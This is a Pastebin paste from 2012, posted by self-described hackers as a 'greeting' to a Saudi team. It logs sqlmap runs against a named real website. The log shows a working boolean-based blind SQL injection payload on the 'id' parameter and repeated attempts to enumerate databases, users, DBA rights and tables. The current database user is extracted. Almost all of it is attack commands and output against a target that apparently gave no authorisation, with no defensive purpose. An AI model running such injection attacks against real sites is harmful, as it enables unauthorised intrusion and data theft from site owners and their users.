API tools faq
paste
Advertisement
Islam-Hacker

Greeting to Saudi Team 7-9-2012

Islam-Hacker
Sep 7th, 2012
214
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.56 KB | None | 0 0
raw download clone embed print report
  1. Friday 7-9-2012
  2. Greeting to Saudi Team ;)
  3. Published by JM511
  4. From Saudi Arabia ;)
  5. ============================
  6.  
  7.  
  8.  
  9. jm511@jm511hacker:~$ python /usr/bin/sqlmap -u http://rivierainvest.es/pagina.php?id=38 --dbs
  10.  
  11. sqlmap/0.9 - automatic SQL injection and database takeover tool
  12. http://sqlmap.sourceforge.net
  13.  
  14. [*] starting at: 22:08:21
  15.  
  16. [22:08:21] [INFO] using '/home/jm511/.sqlmap/output/rivierainvest.es/session' as session file
  17. [22:08:22] [INFO] testing connection to the target url
  18. [22:08:23] [INFO] testing if the url is stable, wait a few seconds
  19. [22:08:26] [INFO] url is stable
  20. [22:08:26] [INFO] testing if GET parameter 'id' is dynamic
  21. [22:08:26] [INFO] confirming that GET parameter 'id' is dynamic
  22. [22:08:27] [INFO] GET parameter 'id' is dynamic
  23. [22:08:27] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
  24. [22:08:27] [INFO] testing sql injection on GET parameter 'id'
  25. [22:08:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  26. [22:09:01] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the request
  27. [22:09:03] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
  28. [22:09:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
  29. [22:09:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  30. [22:09:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  31. parsed error message(s) showed that the back-end DBMS could be MySQL. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
  32. [22:09:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
  33. [22:09:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
  34. GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] y
  35. sqlmap identified the following injection points with a total of 28 HTTP(s) requests:
  36. ---
  37. Place: GET
  38. Parameter: id
  39. Type: boolean-based blind
  40. Title: AND boolean-based blind - WHERE or HAVING clause
  41. Payload: id=38 AND 3465=3465
  42. ---
  43.  
  44. [22:11:53] [INFO] testing MySQL
  45. [22:11:54] [INFO] confirming MySQL
  46. [22:11:55] [INFO] the back-end DBMS is MySQL
  47.  
  48. web application technology: Apache 2.0.59
  49. back-end DBMS: MySQL >= 5.0.2
  50. [22:11:55] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
  51. [22:11:55] [INFO] fetching database names
  52. [22:11:55] [INFO] fetching number of databases
  53. [22:11:55] [INFO] retrieved:
  54. [22:11:57] [ERROR] unable to retrieve the number of databases
  55. [22:11:57] [INFO] falling back to current database
  56. [22:11:57] [INFO] fetching current database
  57. [22:11:57] [INFO] retrieved:
  58. [22:12:26] [CRITICAL] unable to retrieve the database names
  59.  
  60. [*] shutting down at: 22:12:26
  61.  
  62. jm511@jm511hacker:~$ python /usr/bin/sqlmap -u http://rivierainvest.es/pagina.php?id=38 --users
  63.  
  64. sqlmap/0.9 - automatic SQL injection and database takeover tool
  65. http://sqlmap.sourceforge.net
  66.  
  67. [*] starting at: 22:12:33
  68.  
  69. [22:12:34] [INFO] using '/home/jm511/.sqlmap/output/rivierainvest.es/session' as session file
  70. [22:12:34] [INFO] resuming injection data from session file
  71. [22:12:34] [INFO] resuming back-end DBMS 'mysql 5' from session file
  72. [22:12:34] [INFO] testing connection to the target url
  73. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  74. ---
  75. Place: GET
  76. Parameter: id
  77. Type: boolean-based blind
  78. Title: AND boolean-based blind - WHERE or HAVING clause
  79. Payload: id=38 AND 3465=3465
  80. ---
  81.  
  82. [22:12:35] [INFO] the back-end DBMS is MySQL
  83.  
  84. web application technology: Apache 2.0.59
  85. back-end DBMS: MySQL 5
  86. [22:12:35] [INFO] fetching database users
  87. [22:12:35] [INFO] fetching number of database users
  88. [22:12:35] [INFO] retrieved:
  89. [22:12:37] [CRITICAL] unable to retrieve the number of database users
  90.  
  91. [*] shutting down at: 22:12:37
  92.  
  93. jm511@jm511hacker:~$ python /usr/bin/sqlmap -u http://rivierainvest.es/pagina.php?id=38 --is-dba
  94.  
  95. sqlmap/0.9 - automatic SQL injection and database takeover tool
  96. http://sqlmap.sourceforge.net
  97.  
  98. [*] starting at: 22:18:06
  99.  
  100. [22:18:06] [INFO] using '/home/jm511/.sqlmap/output/rivierainvest.es/session' as session file
  101. [22:18:06] [INFO] resuming injection data from session file
  102. [22:18:06] [INFO] resuming back-end DBMS 'mysql 5' from session file
  103. [22:18:07] [INFO] testing connection to the target url
  104. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  105. ---
  106. Place: GET
  107. Parameter: id
  108. Type: boolean-based blind
  109. Title: AND boolean-based blind - WHERE or HAVING clause
  110. Payload: id=38 AND 3465=3465
  111. ---
  112.  
  113. [22:18:08] [INFO] the back-end DBMS is MySQL
  114.  
  115. web application technology: Apache 2.0.59
  116. back-end DBMS: MySQL 5
  117. [22:18:08] [INFO] testing if current user is DBA
  118. [22:18:08] [INFO] fetching current user
  119. [22:18:08] [INFO] retrieved: ab5511@%
  120. [22:18:58] [INFO] retrieved:
  121. current user is DBA: 'False'
  122.  
  123. [22:19:00] [INFO] Fetched data logged to text files under '/home/jm511/.sqlmap/output/rivierainvest.es'
  124.  
  125. [*] shutting down at: 22:19:00
  126.  
  127. jm511@jm511hacker:~$ python /usr/bin/sqlmap -u http://rivierainvest.es/pagina.php?id=38 -D ab5511@% --tables
  128.  
  129. sqlmap/0.9 - automatic SQL injection and database takeover tool
  130. http://sqlmap.sourceforge.net
  131.  
  132. [*] starting at: 22:20:31
  133.  
  134. [22:20:32] [INFO] using '/home/jm511/.sqlmap/output/rivierainvest.es/session' as session file
  135. [22:20:32] [INFO] resuming injection data from session file
  136. [22:20:32] [INFO] resuming back-end DBMS 'mysql 5' from session file
  137. [22:20:32] [INFO] testing connection to the target url
  138. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  139. ---
  140. Place: GET
  141. Parameter: id
  142. Type: boolean-based blind
  143. Title: AND boolean-based blind - WHERE or HAVING clause
  144. Payload: id=38 AND 3465=3465
  145. ---
  146.  
  147. [22:20:32] [INFO] the back-end DBMS is MySQL
  148.  
  149. web application technology: Apache 2.0.59
  150. back-end DBMS: MySQL 5
  151. [22:20:32] [INFO] fetching tables for database '`ab5511@%`'
  152. [22:20:32] [INFO] fetching number of tables for database '`ab5511@%`'
  153. [22:20:32] [INFO] retrieved:
  154. [22:20:34] [WARNING] unable to retrieve the number of tables for database '`ab5511@%`'
  155. [22:20:34] [CRITICAL] unable to retrieve the tables for any database
  156.  
  157. [*] shutting down at: 22:20:34
  158.  
  159. jm511@jm511hacker:~$ python /usr/bin/sqlmap -u http://rivierainvest.es/pagina.php?id=38 -D ab5511 --tables
  160.  
  161. sqlmap/0.9 - automatic SQL injection and database takeover tool
  162. http://sqlmap.sourceforge.net
  163.  
  164. [*] starting at: 22:20:40
  165.  
  166. [22:20:40] [INFO] using '/home/jm511/.sqlmap/output/rivierainvest.es/session' as session file
  167. [22:20:40] [INFO] resuming injection data from session file
  168. [22:20:40] [INFO] resuming back-end DBMS 'mysql 5' from session file
  169. [22:20:40] [INFO] testing connection to the target url
  170. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  171. ---
  172. Place: GET
  173. Parameter: id
  174. Type: boolean-based blind
  175. Title: AND boolean-based blind - WHERE or HAVING clause
  176. Payload: id=38 AND 3465=3465
  177. ---
  178.  
  179. [22:20:41] [INFO] the back-end DBMS is MySQL
  180.  
  181. web application technology: Apache 2.0.59
  182. back-end DBMS: MySQL 5
  183. [22:20:41] [INFO] fetching tables for database 'ab5511'
  184. [22:20:41] [INFO] fetching number of tables for database 'ab5511'
  185. [22:20:41] [INFO] retrieved:
  186. [22:20:43] [WARNING] unable to retrieve the number of tables for database 'ab5511'
  187. [22:20:43] [CRITICAL] unable to retrieve the tables for any database
  188.  
  189. [*] shutting down at: 22:20:43
  190.  
  191. jm511@jm511hacker:~$ python /usr/bin/sqlmap -u http://rivierainvest.es/pagina.php?id=38 -D ab5511 --tables
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!